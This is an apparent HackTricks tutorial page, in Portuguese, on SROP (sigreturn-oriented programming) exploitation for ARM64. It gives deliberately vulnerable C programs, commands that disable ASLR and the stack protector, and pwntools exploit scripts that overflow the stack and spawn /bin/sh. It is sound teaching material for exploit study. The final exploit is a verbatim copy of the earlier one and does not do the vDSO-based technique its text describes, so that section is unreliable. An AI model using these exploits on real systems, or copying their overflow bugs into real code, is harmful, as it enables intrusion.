SROP - ARM64

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Exemplo de Pwntools

Este exemplo cria o binário vulnerável e o explora. O binário lê na pilha e então chama sigreturn:

python
from pwn import * binsh = "/bin/sh" context.clear() context.arch = "arm64" asm = '' asm += 'sub sp, sp, 0x1000\n' asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack asm += shellcraft.sigreturn() # Call sigreturn asm += 'syscall: \n' #Easy symbol to use in the exploit asm += shellcraft.syscall() asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory binary = ELF.from_assembly(asm) frame = SigreturnFrame() frame.x8 = constants.SYS_execve frame.x0 = binary.symbols['binsh'] frame.x1 = 0x00 frame.x2 = 0x00 frame.pc = binary.symbols['syscall'] p = process(binary.path) p.send(bytes(frame)) p.interactive()

exemplo de bof

Código

c
#include <stdio.h> #include <string.h> #include <unistd.h> void do_stuff(int do_arg){ if (do_arg == 1) __asm__("mov x8, 0x8b; svc 0;"); return; } char* vulnerable_function() { char buffer[64]; read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability return buffer; } char* gen_stack() { char use_stack[0x2000]; strcpy(use_stack, "Hello, world!"); char* b = vulnerable_function(); return use_stack; } int main(int argc, char **argv) { char* b = gen_stack(); do_stuff(2); return 0; }

Compile-o com:

bash
clang -o srop srop.c -fno-stack-protector echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR

Exploit

O exploit abusa do bof para retornar à chamada para sigreturn e preparar a pilha para chamar execve com um ponteiro para /bin/sh.

python
from pwn import * p = process('./srop') elf = context.binary = ELF('./srop') libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6") libc.address = 0x0000fffff7df0000 # ASLR disabled binsh = next(libc.search(b"/bin/sh")) stack_offset = 72 sigreturn = 0x00000000004006e0 # Call to sig svc_call = 0x00000000004006e4 # svc #0x0 frame = SigreturnFrame() frame.x8 = 0xdd # syscall number for execve frame.x0 = binsh frame.x1 = 0x00 # NULL frame.x2 = 0x00 # NULL frame.pc = svc_call payload = b'A' * stack_offset payload += p64(sigreturn) payload += bytes(frame) p.sendline(payload) p.interactive()

exemplo de bof sem sigreturn

Código

c
#include <stdio.h> #include <string.h> #include <unistd.h> char* vulnerable_function() { char buffer[64]; read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability return buffer; } char* gen_stack() { char use_stack[0x2000]; strcpy(use_stack, "Hello, world!"); char* b = vulnerable_function(); return use_stack; } int main(int argc, char **argv) { char* b = gen_stack(); return 0; }

Exploit

Na seção vdso é possível encontrar uma chamada para sigreturn no offset 0x7b0:

Portanto, se vazar, é possível usar este endereço para acessar um sigreturn se o binário não estiver carregando-o:

python
from pwn import * p = process('./srop') elf = context.binary = ELF('./srop') libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6") libc.address = 0x0000fffff7df0000 # ASLR disabled binsh = next(libc.search(b"/bin/sh")) stack_offset = 72 sigreturn = 0x00000000004006e0 # Call to sig svc_call = 0x00000000004006e4 # svc #0x0 frame = SigreturnFrame() frame.x8 = 0xdd # syscall number for execve frame.x0 = binsh frame.x1 = 0x00 # NULL frame.x2 = 0x00 # NULL frame.pc = svc_call payload = b'A' * stack_offset payload += p64(sigreturn) payload += bytes(frame) p.sendline(payload) p.interactive()

Para mais informações sobre vdso, verifique:

Ret2vDSO

E para contornar o endereço de /bin/sh, você pode criar várias variáveis de ambiente apontando para ele, para mais informações:

ASLR

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks